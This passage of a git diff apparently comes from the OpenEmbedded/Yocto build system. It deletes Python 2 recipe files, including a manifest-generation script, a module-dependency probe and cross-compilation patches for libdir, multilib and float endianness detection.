- # Disabled on 64-bit platforms
-- if sys.maxsize != 9223372036854775807L:
-+ if not target_is_64bit_platform():
- # Operations on images
- exts.append( Extension('imageop', ['imageop.c']) )
- else:
-@@ -1545,7 +1560,7 @@ class PyBuildExt(build_ext):
- missing.append('_codecs_%s' % loc)
-
- # Dynamic loading module
-- if sys.maxint == 0x7fffffff:
-+ if not target_is_64bit_platform():
- # This requires sizeof(int) == sizeof(long) == sizeof(char*)
- dl_inc = find_file('dlfcn.h', [], inc_dirs)
- if (dl_inc is not None) and (host_platform not in ['atheos']):
diff --git a/meta/recipes-devtools/python/python/create_manifest2.py b/meta/recipes-devtools/python/python/create_manifest2.py
deleted file mode 100644
index 34659515cb..0000000000
--- a/meta/recipes-devtools/python/python/create_manifest2.py
+++ /dev/null
@@ -1,298 +0,0 @@
-# This script is used as a bitbake task to create a new python manifest
-# $ bitbake python -c create_manifest
-#
-# Our goal is to keep python-core as small as posible and add other python
-# packages only when the user needs them, hence why we split upstream python
-# into several packages.
-#
-# In a very simplistic way what this does is:
-# Launch python and see specifically what is required for it to run at a minimum
-#
-# Go through the python-manifest file and launch a separate task for every single
-# one of the files on each package, this task will check what was required for that
-# specific module to run, these modules will be called dependencies.
-# The output of such task will be a list of the modules or dependencies that were
-# found for that file.
-#
-# Such output will be parsed by this script, we will look for each dependency on the
-# manifest and if we find that another package already includes it, then we will add
-# that package as an RDEPENDS to the package we are currently checking; in case we dont
-# find the current dependency on any other package we will add it to the current package
-# as part of FILES.
-#
-#
-# This way we will create a new manifest from the data structure that was built during
-# this process, on this new manifest each package will contain specifically only
-# what it needs to run.
-#
-# There are some caveats which we try to deal with, such as repeated files on different
-# packages, packages that include folders, wildcards, and special packages.
-# Its also important to note that this method only works for python files, and shared
-# libraries. Static libraries, header files and binaries need to be dealt with manually.
-#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29 at gmail dot com>
-
-
-import sys
-import subprocess
-import json
-import os
-import collections
-
-# Hack to get native python search path (for folders), not fond of it but it works for now
-pivot='recipe-sysroot-native'
-for p in sys.path:
- if pivot in p:
- nativelibfolder=p[:p.find(pivot)+len(pivot)]
-
-# Empty dict to hold the whole manifest
-new_manifest = collections.OrderedDict()
-
-# Check for repeated files, folders and wildcards
-allfiles=[]
-repeated=[]
-wildcards=[]
-
-hasfolders=[]
-allfolders=[]
-
-def isFolder(value):
- if os.path.isdir(value.replace('${libdir}',nativelibfolder+'/usr/lib')) or os.path.isdir(value.replace('${libdir}',nativelibfolder+'/usr/lib64')) or os.path.isdir(value.replace('${libdir}',nativelibfolder+'/usr/lib32')):
- return True
- else:
- return False
-
-def prepend_comments(comments, json_manifest):
- with open(json_manifest, 'r+') as manifest:
- json_contents = manifest.read()
- manifest.seek(0, 0)
- manifest.write(comments + json_contents)
-
-# Read existing JSON manifest
-with open('python2-manifest.json') as manifest:
- # The JSON format doesn't allow comments so we hack the call to keep the comments using a marker
- manifest_str = manifest.read()
- json_start = manifest_str.find('# EOC') + 6 # EOC + \n
- manifest.seek(0)
- comments = manifest.read(json_start)
- manifest_str = manifest.read()
- old_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
-
-# First pass to get core-package functionality, because we base everything on the fact that core is actually working
-# Not exactly the same so it should not be a function
-print ("Getting dependencies for core package:")
-
-# Special call to check for core package
-output = subprocess.check_output([sys.executable, 'get_module_deps2.py', 'python-core-package'])
-for item in output.split():
- # We append it so it doesnt hurt what we currently have:
- if item not in old_manifest['core']['files']:
- # We use the same data structure since its the one which will be used to check
- # dependencies for other packages
- old_manifest['core']['files'].append(item)
-
-for value in old_manifest['core']['files']:
- # Ignore folders, since we don't import those, difficult to handle multilib
- if isFolder(value):
- # Pass it directly
- if value not in old_manifest['core']['files']:
- old_manifest['core']['files'].append(value)
- # Ignore binaries, since we don't import those, assume it was added correctly (manually)
- if '${bindir}' in value:
- # Pass it directly
- if value not in old_manifest['core']['files']:
- old_manifest['core']['files'].append(value)
- continue
- # Ignore empty values
- if value == '':
- continue
- if '${includedir}' in value:
- if value not in old_manifest['core']['files']:
- old_manifest['core']['files'].append(value)
- continue
- # Get module name , shouldnt be affected by libdir/bindir
- value = os.path.splitext(os.path.basename(os.path.normpath(value)))[0]
-
-
- # Launch separate task for each module for deterministic behavior
- # Each module will only import what is necessary for it to work in specific
- print ('Getting dependencies for module: %s' % value)
- output = subprocess.check_output([sys.executable, 'get_module_deps2.py', '%s' % value])
- for item in output.split():
- # We append it so it doesnt hurt what we currently have:
- if item not in old_manifest['core']['files']:
- old_manifest['core']['files'].append(item)
-
-# We check which packages include folders
-for key in old_manifest:
- for value in old_manifest[key]['files']:
- # Ignore folders, since we don't import those, difficult to handle multilib
- if isFolder(value):
- print ('%s is a folder' % value)
- if key not in hasfolders:
- hasfolders.append(key)
- if value not in allfolders:
- allfolders.append(value)
-
-for key in old_manifest:
- # Use an empty dict as data structure to hold data for each package and fill it up
- new_manifest[key] = collections.OrderedDict()
- new_manifest[key]['summary'] = old_manifest[key]['summary']
- new_manifest[key]['rdepends']=[]
- new_manifest[key]['files'] = []
-
- # All packages should depend on core
- if key != 'core':
- new_manifest[key]['rdepends'].append('core')
-
- # Handle special cases, we assume that when they were manually added
- # to the manifest we knew what we were doing.
- print ('Handling package %s' % key)
- special_packages=['misc', 'modules', 'tests', 'dev']
- if key in special_packages or 'staticdev' in key:
- print('Passing %s package directly' % key)
- new_manifest[key]=old_manifest[key]
- continue
-
- for value in old_manifest[key]['files']:
- # We already handled core on the first pass
- if key == 'core':
- new_manifest[key]['files'].append(value)
- continue
- # Ignore folders, since we don't import those, difficult to handle multilib
- if isFolder(value):
- # Pass folders directly
- new_manifest[key]['files'].append(value)
- # Ignore binaries, since we don't import those
- if '${bindir}' in value:
- # Pass it directly to the new manifest data structure
- if value not in new_manifest[key]['files']:
- new_manifest[key]['files'].append(value)
- continue
- # Ignore empty values
- if value == '':
- continue
- if '${includedir}' in value:
- if value not in new_manifest[key]['files']:
- new_manifest[key]['files'].append(value)
- continue
- # Get module name , shouldnt be affected by libdir/bindir
- value = os.path.splitext(os.path.basename(os.path.normpath(value)))[0]
-
- # Launch separate task for each module for deterministic behavior
- # Each module will only import what is necessary for it to work in specific
- print ('Getting dependencies for module: %s' % value)
- output = subprocess.check_output([sys.executable, 'get_module_deps2.py', '%s' % value])
-
- # We can print dependencies for debugging purposes
- #print (output)
- # Output will have all dependencies
- for item in output.split():
-
- # Warning: This first part is ugly
- # One of the dependencies that was found, could be inside of one of the folders included by another package
- # We need to check if this happens so we can add the package containing the folder as an RDEPENDS
- # e.g. Folder encodings contained in codecs
- # This would be solved if no packages included any folders
-
- # This can be done in two ways:
- # 1 - We assume that if we take out the filename from the path we would get
- # the folder string, then we would check if folder string is in the list of folders
- # This would not work if a package contains a folder which contains another folder
- # e.g. path/folder1/folder2/filename folder_string= path/folder1/folder2
- # folder_string would not match any value contained in the list of folders
- #
- # 2 - We do it the other way around, checking if the folder is contained in the path
- # e.g. path/folder1/folder2/filename folder_string= path/folder1/folder2
- # is folder_string inside path/folder1/folder2/filename?,
- # Yes, it works, but we waste a couple of milliseconds.
-
- inFolders=False
- for folder in allfolders:
- # The module could have a directory named after it, e.g. xml, if we take out the filename from the path
- # we'll end up with ${libdir}, and we want ${libdir}/xml
- if isFolder(item):
- check_path = item
- else:
- check_path = os.path.dirname(item)
- if folder in check_path :
- inFolders = True # Did we find a folder?
- folderFound = False # Second flag to break inner for
- # Loop only through packages which contain folders
- for keyfolder in hasfolders:
- if (folderFound == False):
- #print("Checking folder %s on package %s" % (item,keyfolder))
- for file_folder in old_manifest[keyfolder]['files']:
- if file_folder==folder:
- print ('%s found in %s' % (folder, keyfolder))
- folderFound = True
- if keyfolder not in new_manifest[key]['rdepends'] and keyfolder != key:
- new_manifest[key]['rdepends'].append(keyfolder)
- else:
- break
-
- # A folder was found so we're done with this item, we can go on
- if inFolders:
- continue
-
- # We might already have it on the dictionary since it could depend on a (previously checked) module
- if item not in new_manifest[key]['files']:
- # Handle core as a special package, we already did it so we pass it to NEW data structure directly
- if key=='core':
- print('Adding %s to %s FILES' % (item, key))
- if item.endswith('*'):
- wildcards.append(item)
- new_manifest[key]['files'].append(item)
-
- # Check for repeated files
- if item not in allfiles:
- allfiles.append(item)
- else:
- repeated.append(item)
-
- else:
-
- # Check if this dependency is already contained on another package, so we add it
- # as an RDEPENDS, or if its not, it means it should be contained on the current
- # package, so we should add it to FILES
- for newkey in old_manifest:
- # Debug
- #print("Checking %s " % item + " in %s" % newkey)
- if item in old_manifest[newkey]['files']:
- # Since were nesting, we need to check its not the same key
- if(newkey!=key):
- if newkey not in new_manifest[key]['rdepends']:
- # Add it to the new manifest data struct
- # Debug
- print('Adding %s to %s RDEPENDS, because it contains %s' % (newkey, key, item))
- new_manifest[key]['rdepends'].append(newkey)
- break
- else:
- # Debug
- print('Adding %s to %s FILES' % (item, key))
- # Since it wasnt found on another package, its not an RDEP, so add it to FILES for this package
- new_manifest[key]['files'].append(item)
- if item.endswith('*'):
- wildcards.append(item)
- if item not in allfiles:
- allfiles.append(item)
- else:
- repeated.append(item)
-
-print ('The following files are repeated (contained in more than one package), please check which package should get it:')
-print (repeated)
-print('The following files contain wildcards, please check they are necessary')
-print(wildcards)
-print('The following files contain folders, please check they are necessary')
-print(hasfolders)
-
-# Sort it just so it looks nice
-for key in new_manifest:
- new_manifest[key]['files'].sort()
- new_manifest[key]['rdepends'].sort()
-
-# Create the manifest from the data structure that was built
-with open('python2-manifest.json.new','w') as outfile:
- json.dump(new_manifest,outfile, indent=4)
-
-prepend_comments(comments,'python2-manifest.json.new')
diff --git a/meta/recipes-devtools/python/python/fix_for_using_different_libdir.patch b/meta/recipes-devtools/python/python/fix_for_using_different_libdir.patch
deleted file mode 100644
index 5f7309367c..0000000000
--- a/meta/recipes-devtools/python/python/fix_for_using_different_libdir.patch
+++ /dev/null
@@ -1,77 +0,0 @@
-Upstream-Status: Inappropriate [Embedded specific]
-
-This patch fixes issuing with different libdir like lib64.
-This patch makes the native python binary modules findable
-in the install process of the host python.
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-Date: 2012/03/14
-
-Updated for python 2.7.3
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-Date: 2012/05/01
-
-Rebased for python-2.7.9
-Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-
-
-Index: Python-2.7.9/Lib/sysconfig.py
-===================================================================
---- Python-2.7.9.orig/Lib/sysconfig.py
-+++ Python-2.7.9/Lib/sysconfig.py
-@@ -9,7 +9,7 @@ _INSTALL_SCHEMES = {
- 'posix_prefix': {
- 'stdlib': '{base}/'+sys.lib+'/python{py_version_short}',
- 'platstdlib': '{platbase}/'+sys.lib+'/python{py_version_short}',
-- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
-+ 'purelib': '{base}/'+sys.lib+'/python{py_version_short}/site-packages',
- 'platlib': '{platbase}/'+sys.lib+'/python{py_version_short}/site-packages',
- 'include': '{base}/include/python{py_version_short}',
- 'platinclude': '{platbase}/include/python{py_version_short}',
-@@ -67,7 +67,7 @@ _INSTALL_SCHEMES = {
- 'posix_user': {
- 'stdlib': '{userbase}/'+sys.lib+'/python{py_version_short}',
- 'platstdlib': '{userbase}/'+sys.lib+'/python{py_version_short}',
-- 'purelib': '{userbase}/lib/python{py_version_short}/site-packages',
-+ 'purelib': '{userbase}/'+sys.lib+'/python{py_version_short}/site-packages',
- 'platlib': '{userbase}/'+sys.lib+'/python{py_version_short}/site-packages',
- 'include': '{userbase}/include/python{py_version_short}',
- 'scripts': '{userbase}/bin',
-Index: Python-2.7.9/Makefile.pre.in
-===================================================================
---- Python-2.7.9.orig/Makefile.pre.in
-+++ Python-2.7.9/Makefile.pre.in
-@@ -1046,27 +1046,27 @@ libinstall: build_all $(srcdir)/Lib/$(PL
- $(INSTALL_DATA) $(srcdir)/Modules/xxmodule.c \
- $(DESTDIR)$(LIBDEST)/distutils/tests ; \
- fi
-- PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-+ PYTHONPATH=$(DESTDIR)$(LIBDEST):${CROSSPYTHONPATH} $(RUNSHARED) \
- $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST) -f \
- -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
- $(DESTDIR)$(LIBDEST)
-- PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-+ PYTHONPATH=$(DESTDIR)$(LIBDEST):${CROSSPYTHONPATH}$(RUNSHARED) \
- $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST) -f \
- -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
- $(DESTDIR)$(LIBDEST)
-- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-+ -PYTHONPATH=$(DESTDIR)$(LIBDEST):${CROSSPYTHONPATH} $(RUNSHARED) \
- $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST)/site-packages -f \
- -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
-- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-+ -PYTHONPATH=$(DESTDIR)$(LIBDEST):${CROSSPYTHONPATH} $(RUNSHARED) \
- $(HOSTPYTHON) -Wi -tt $(DESTDIR)$(LIBDEST)/compileall.py \
- -d $(LIBDEST)/site-packages -f \
- -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
-- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-+ -PYTHONPATH=$(DESTDIR)$(LIBDEST):${CROSSPYTHONPATH} $(RUNSHARED) \
- $(HOSTPYTHON) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/Grammar.txt
-- -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
-+ -PYTHONPATH=$(DESTDIR)$(LIBDEST):${CROSSPYTHONPATH} $(RUNSHARED) \
- $(HOSTPYTHON) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/PatternGrammar.txt
-
- # Create the PLATDIR source directory, if one wasn't distributed..
diff --git a/meta/recipes-devtools/python/python/float-endian.patch b/meta/recipes-devtools/python/python/float-endian.patch
deleted file mode 100644
index 8a5c90aec4..0000000000
--- a/meta/recipes-devtools/python/python/float-endian.patch
+++ /dev/null
@@ -1,216 +0,0 @@
-Python uses AC_RUN_IFELSE to determine the byte order for floats and doubles,
-and falls back onto "I don't know" if it can't run code. This results in
-crippled floating point numbers in Python, and the regression tests fail.
-
-Instead of running code, take a macro from autoconf-archive which compiles C
-with a special double in which has an ASCII representation, and then greps the
-binary to identify the format.
-
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 253f47b28120c42cfe53a4e2f5ed0ab0ed469deb Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross@burtonini.com>
-Date: Wed, 19 Sep 2018 07:25:48 +0100
-Subject: [PATCH] closes bpo-34585: Don't do runtime test to get float byte
- order. (GH-9085)
-
-Currently configure.ac uses AC_RUN_IFELSE to determine the byte order of doubles, but this silently fails under cross compilation and Python doesn't do floats properly.
-
-Instead, steal a macro from autoconf-archive which compiles code using magic doubles (which encode to ASCII) and grep for the representation in the binary.
-
-RFC because this doesn't yet handle the weird ancient ARMv4 OABI 'mixed-endian' encoding properly. This encoding is ancient and I don't believe the union of "Python 3.8 users" and "OABI users" has anything in. Should the support for this just be dropped too? Alternatively, someone will need to find an OABI toolchain to verify the encoding of the magic double.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- .../Build/2018-09-18-16-28-31.bpo-34585.CGMu0h.rst | 3 +
- configure.ac | 76 ++++----------------
- m4/ax_c_float_words_bigendian.m4 | 83 ++++++++++++++++++++++
- 3 files changed, 99 insertions(+), 63 deletions(-)
- create mode 100644 Misc/NEWS.d/next/Build/2018-09-18-16-28-31.bpo-34585.CGMu0h.rst
- create mode 100644 m4/ax_c_float_words_bigendian.m4
-
-diff --git a/configure.ac b/configure.ac
-index 913d5469d0..7672735396 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -3835,74 +3835,24 @@ fi],
- # * Check for various properties of floating point *
- # **************************************************
-
--AC_MSG_CHECKING(whether C doubles are little-endian IEEE 754 binary64)
--AC_CACHE_VAL(ac_cv_little_endian_double, [
--AC_RUN_IFELSE([AC_LANG_SOURCE([[
--#include <string.h>
--int main() {
-- double x = 9006104071832581.0;
-- if (memcmp(&x, "\x05\x04\x03\x02\x01\xff\x3f\x43", 8) == 0)
-- return 0;
-- else
-- return 1;
--}
--]])],
--[ac_cv_little_endian_double=yes],
--[ac_cv_little_endian_double=no],
--[ac_cv_little_endian_double=no])])
--AC_MSG_RESULT($ac_cv_little_endian_double)
--if test "$ac_cv_little_endian_double" = yes
--then
-- AC_DEFINE(DOUBLE_IS_LITTLE_ENDIAN_IEEE754, 1,
-- [Define if C doubles are 64-bit IEEE 754 binary format, stored
-- with the least significant byte first])
--fi
--
--AC_MSG_CHECKING(whether C doubles are big-endian IEEE 754 binary64)
--AC_CACHE_VAL(ac_cv_big_endian_double, [
--AC_RUN_IFELSE([AC_LANG_SOURCE([[
--#include <string.h>
--int main() {
-- double x = 9006104071832581.0;
-- if (memcmp(&x, "\x43\x3f\xff\x01\x02\x03\x04\x05", 8) == 0)
-- return 0;
-- else
-- return 1;
--}
--]])],
--[ac_cv_big_endian_double=yes],
--[ac_cv_big_endian_double=no],
--[ac_cv_big_endian_double=no])])
--AC_MSG_RESULT($ac_cv_big_endian_double)
--if test "$ac_cv_big_endian_double" = yes
-+AX_C_FLOAT_WORDS_BIGENDIAN
-+if test "$ax_cv_c_float_words_bigendian" = "yes"
- then
- AC_DEFINE(DOUBLE_IS_BIG_ENDIAN_IEEE754, 1,
- [Define if C doubles are 64-bit IEEE 754 binary format, stored
- with the most significant byte first])
--fi
--
--# Some ARM platforms use a mixed-endian representation for doubles.
--# While Python doesn't currently have full support for these platforms
--# (see e.g., issue 1762561), we can at least make sure that float <-> string
--# conversions work.
--AC_MSG_CHECKING(whether C doubles are ARM mixed-endian IEEE 754 binary64)
--AC_CACHE_VAL(ac_cv_mixed_endian_double, [
--AC_RUN_IFELSE([AC_LANG_SOURCE([[
--#include <string.h>
--int main() {
-- double x = 9006104071832581.0;
-- if (memcmp(&x, "\x01\xff\x3f\x43\x05\x04\x03\x02", 8) == 0)
-- return 0;
-- else
-- return 1;
--}
--]])],
--[ac_cv_mixed_endian_double=yes],
--[ac_cv_mixed_endian_double=no],
--[ac_cv_mixed_endian_double=no])])
--AC_MSG_RESULT($ac_cv_mixed_endian_double)
--if test "$ac_cv_mixed_endian_double" = yes
-+elif test "$ax_cv_c_float_words_bigendian" = "no"
- then
-+ AC_DEFINE(DOUBLE_IS_LITTLE_ENDIAN_IEEE754, 1,
-+ [Define if C doubles are 64-bit IEEE 754 binary format, stored
-+ with the least significant byte first])
-+else
-+ # Some ARM platforms use a mixed-endian representation for doubles.
-+ # While Python doesn't currently have full support for these platforms
-+ # (see e.g., issue 1762561), we can at least make sure that float <-> string
-+ # conversions work.
-+ # FLOAT_WORDS_BIGENDIAN doesnt actually detect this case, but if it's not big
-+ # or little, then it must be this?
- AC_DEFINE(DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754, 1,
- [Define if C doubles are 64-bit IEEE 754 binary format, stored
- in ARM mixed-endian order (byte order 45670123)])
-diff --git a/m4/ax_c_float_words_bigendian.m4 b/m4/ax_c_float_words_bigendian.m4
-new file mode 100644
-index 0000000000..216b90d803
---- /dev/null
-+++ b/m4/ax_c_float_words_bigendian.m4
-@@ -0,0 +1,83 @@
-+# ===============================================================================
-+# https://www.gnu.org/software/autoconf-archive/ax_c_float_words_bigendian.html
-+# ===============================================================================
-+#
-+# SYNOPSIS
-+#
-+# AX_C_FLOAT_WORDS_BIGENDIAN([ACTION-IF-TRUE], [ACTION-IF-FALSE], [ACTION-IF-UNKNOWN])
-+#
-+# DESCRIPTION
-+#
-+# Checks the ordering of words within a multi-word float. This check is
-+# necessary because on some systems (e.g. certain ARM systems), the float
-+# word ordering can be different from the byte ordering. In a multi-word
-+# float context, "big-endian" implies that the word containing the sign
-+# bit is found in the memory location with the lowest address. This
-+# implementation was inspired by the AC_C_BIGENDIAN macro in autoconf.
-+#
-+# The endianness is detected by first compiling C code that contains a
-+# special double float value, then grepping the resulting object file for
-+# certain strings of ASCII values. The double is specially crafted to have
-+# a binary representation that corresponds with a simple string. In this
-+# implementation, the string "noonsees" was selected because the
-+# individual word values ("noon" and "sees") are palindromes, thus making
-+# this test byte-order agnostic. If grep finds the string "noonsees" in
-+# the object file, the target platform stores float words in big-endian
-+# order. If grep finds "seesnoon", float words are in little-endian order.
-+# If neither value is found, the user is instructed to specify the
-+# ordering.
-+#
-+# LICENSE
-+#
-+# Copyright (c) 2008 Daniel Amelang <dan@amelang.net>
-+#
-+# Copying and distribution of this file, with or without modification, are
-+# permitted in any medium without royalty provided the copyright notice
-+# and this notice are preserved. This file is offered as-is, without any
-+# warranty.
-+
-+#serial 11
-+
-+AC_DEFUN([AX_C_FLOAT_WORDS_BIGENDIAN],
-+ [AC_CACHE_CHECK(whether float word ordering is bigendian,
-+ ax_cv_c_float_words_bigendian, [
-+
-+ax_cv_c_float_words_bigendian=unknown
-+AC_COMPILE_IFELSE([AC_LANG_SOURCE([[
-+
-+double d = 90904234967036810337470478905505011476211692735615632014797120844053488865816695273723469097858056257517020191247487429516932130503560650002327564517570778480236724525140520121371739201496540132640109977779420565776568942592.0;
-+
-+]])], [
-+
-+if grep noonsees conftest.$ac_objext >/dev/null ; then
-+ ax_cv_c_float_words_bigendian=yes
-+fi
-+if grep seesnoon conftest.$ac_objext >/dev/null ; then
-+ if test "$ax_cv_c_float_words_bigendian" = unknown; then
-+ ax_cv_c_float_words_bigendian=no
-+ else
-+ ax_cv_c_float_words_bigendian=unknown
-+ fi
-+fi
-+
-+])])
-+
-+case $ax_cv_c_float_words_bigendian in
-+ yes)
-+ m4_default([$1],
-+ [AC_DEFINE([FLOAT_WORDS_BIGENDIAN], 1,
-+ [Define to 1 if your system stores words within floats
-+ with the most significant word first])]) ;;
-+ no)
-+ $2 ;;
-+ *)
-+ m4_default([$3],
-+ [AC_MSG_ERROR([
-+
-+Unknown float word ordering. You need to manually preset
-+ax_cv_c_float_words_bigendian=no (or yes) according to your system.
-+
-+ ])]) ;;
-+esac
-+
-+])# AX_C_FLOAT_WORDS_BIGENDIAN
---
-2.11.0
-
diff --git a/meta/recipes-devtools/python/python/get_module_deps2.py b/meta/recipes-devtools/python/python/get_module_deps2.py
deleted file mode 100644
index 73e7c6f6dc..0000000000
--- a/meta/recipes-devtools/python/python/get_module_deps2.py
+++ /dev/null
@@ -1,112 +0,0 @@
-# This script is launched on separate task for each python module
-# It checks for dependencies for that specific module and prints
-# them out, the output of this execution will have all dependencies
-# for a specific module, which will be parsed an dealt on create_manifest.py
-#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29@gmail.com>
-
-
-# We can get a log per module, for all the dependencies that were found, but its messy.
-debug=False
-
-import sys
-
-# We can get a list of the modules which are currently required to run python
-# so we run python-core and get its modules, we then import what we need
-# and check what modules are currently running, if we substract them from the
-# modules we had initially, we get the dependencies for the module we imported.
-
-# We use importlib to achieve this, so we also need to know what modules importlib needs
-import importlib
-
-core_deps=set(sys.modules)
-
-def fix_path(dep_path):
- import os
- # We DONT want the path on our HOST system
- pivot='recipe-sysroot-native'
- dep_path=dep_path[dep_path.find(pivot)+len(pivot):]
-
- if '/usr/bin' in dep_path:
- dep_path = dep_path.replace('/usr/bin''${bindir}')
-
- # Handle multilib, is there a better way?
- if '/usr/lib32' in dep_path:
- dep_path = dep_path.replace('/usr/lib32','${libdir}')
- if '/usr/lib64' in dep_path:
- dep_path = dep_path.replace('/usr/lib64','${libdir}')
- if '/usr/lib' in dep_path:
- dep_path = dep_path.replace('/usr/lib','${libdir}')
- if '/usr/include' in dep_path:
- dep_path = dep_path.replace('/usr/include','${includedir}')
- if '__init__.' in dep_path:
- dep_path = os.path.split(dep_path)[0]
-
- # If a *.pyc file was imported, we replace it with *.py (since we deal with PYCs on create_manifest)
- if '.pyc' in dep_path:
- dep_path = dep_path.replace('.pyc','.py')
-
- return dep_path
-
-# Module to import was passed as an argument
-current_module = str(sys.argv[1]).rstrip()
-if(debug==True):
- log = open('log_%s' % current_module,'w')
- log.write('Module %s generated the following dependencies:\n' % current_module)
-try:
- importlib.import_module('%s' % current_module)
-except ImportError as e:
- if (debug==True):
- log.write('Module was not found')
- pass
-
-
-# Get current module dependencies, dif will contain a list of specific deps for this module
-module_deps=set(sys.modules)
-
-# We handle the core package (1st pass on create_manifest.py) as a special case
-if current_module == 'python-core-package':
- dif = core_deps
-else:
- dif = module_deps-core_deps
-
-
-# Check where each dependency came from
-for item in dif:
- dep_path=''
- try:
- if (debug==True):
- log.write('Calling: sys.modules[' + '%s' % item + '].__file__\n')
- dep_path = sys.modules['%s' % item].__file__
- except AttributeError as e:
- # Deals with thread (builtin module) not having __file__ attribute
- if debug==True:
- log.write(item + ' ')
- log.write(str(e))
- log.write('\n')
- pass
- except NameError as e:
- # Deals with NameError: name 'dep_path' is not defined
- # because module is not found (wasn't compiled?), e.g. bddsm
- if (debug==True):
- log.write(item+' ')
- log.write(str(e))
- pass
-
- # Site-customize is a special case since we (OpenEmbedded) put it there manually
- if 'sitecustomize' in dep_path:
- dep_path = '${libdir}/python2.7/sitecustomize.py'
- # Prints out result, which is what will be used by create_manifest
- print (dep_path)
- continue
-
- dep_path = fix_path(dep_path)
-
- if (debug==True):
- log.write(dep_path+'\n')
-
- # Prints out result, which is what will be used by create_manifest
- print (dep_path)
-
-if debug==True:
- log.close()
diff --git a/meta/recipes-devtools/python/python/host_include_contamination.patch b/meta/recipes-devtools/python/python/host_include_contamination.patch
deleted file mode 100644
index e0aafb218b..0000000000
--- a/meta/recipes-devtools/python/python/host_include_contamination.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-when building python for qemux86-64 on ubuntu 11.10/64bit
-it gropes into host includes and then mixes them with cross
-includes and as a result some modules fail to compile and link
-one of the modules is python-elementtree which is then not
-found during image creation
-
-Proble is that setup.py tries to add native includes that newer
-ubuntu has introduced for multiarch support. But that should
-only happen for native builds and not cross building python
-so we add a check here.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-
-diff --git a/setup.py b/setup.py
-index ba2d242..bf859be 100644
---- a/setup.py
-+++ b/setup.py
-@@ -393,6 +393,8 @@ class PyBuildExt(build_ext):
-
- if not find_executable('dpkg-architecture'):
- return
-+ if os.environ.get('CROSS_COMPILE') is not None:
-+ return
- opt = ''
- if cross_compiling:
- opt = '-t' + sysconfig.get_config_var('HOST_GNU_TYPE')
diff --git a/meta/recipes-devtools/python/python/multilib.patch b/meta/recipes-devtools/python/python/multilib.patch
deleted file mode 100644
index d24bc15f01..0000000000
--- a/meta/recipes-devtools/python/python/multilib.patch
+++ /dev/null
@@ -1,298 +0,0 @@
-Rebased for python-2.7.9
-Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-Upstream-Status: Pending
-Index: Python-2.7.14/configure.ac
-===================================================================
---- Python-2.7.14.orig/configure.ac
-+++ Python-2.7.14/configure.ac
-@@ -758,6 +758,10 @@ SunOS*)
- ;;
- esac
-
-+AC_SUBST(LIB)
-+AC_MSG_CHECKING(LIB)
-+LIB="SEDMELIBLEAF"
-+AC_MSG_RESULT($LIB)
-
- AC_SUBST(LIBRARY)
- AC_MSG_CHECKING(LIBRARY)
-Index: Python-2.7.14/Include/pythonrun.h
-===================================================================
---- Python-2.7.14.orig/Include/pythonrun.h
-+++ Python-2.7.14/Include/pythonrun.h
-@@ -108,6 +108,7 @@ PyAPI_FUNC(char *) Py_GetPath(void);
- /* In their own files */
- PyAPI_FUNC(const char *) Py_GetVersion(void);
- PyAPI_FUNC(const char *) Py_GetPlatform(void);
-+PyAPI_FUNC(const char *) Py_GetLib(void);
- PyAPI_FUNC(const char *) Py_GetCopyright(void);
- PyAPI_FUNC(const char *) Py_GetCompiler(void);
- PyAPI_FUNC(const char *) Py_GetBuildInfo(void);
-Index: Python-2.7.14/Lib/distutils/command/install.py
-===================================================================
---- Python-2.7.14.orig/Lib/distutils/command/install.py
-+++ Python-2.7.14/Lib/distutils/command/install.py
-@@ -22,6 +22,8 @@ from site import USER_BASE
- from site import USER_SITE
-
-
-+libname = sys.lib
-+
- if sys.version < "2.2":
- WINDOWS_SCHEME = {
- 'purelib': '$base',
-@@ -41,8 +43,8 @@ else:
-
- INSTALL_SCHEMES = {
- 'unix_prefix': {
-- 'purelib': '$base/lib/python$py_version_short/site-packages',
-- 'platlib': '$platbase/lib/python$py_version_short/site-packages',
-+ 'purelib': '$platbase/'+libname+'/python$py_version_short/site-packages',
-+ 'platlib': '$platbase/'+libname+'/python$py_version_short/site-packages',
- 'headers': '$base/include/python$py_version_short/$dist_name',
- 'scripts': '$base/bin',
- 'data' : '$base',
-Index: Python-2.7.14/Lib/distutils/sysconfig.py
-===================================================================
---- Python-2.7.14.orig/Lib/distutils/sysconfig.py
-+++ Python-2.7.14/Lib/distutils/sysconfig.py
-@@ -119,8 +119,11 @@ def get_python_lib(plat_specific=0, stan
- prefix = plat_specific and EXEC_PREFIX or PREFIX
-
- if os.name == "posix":
-- libpython = os.path.join(prefix,
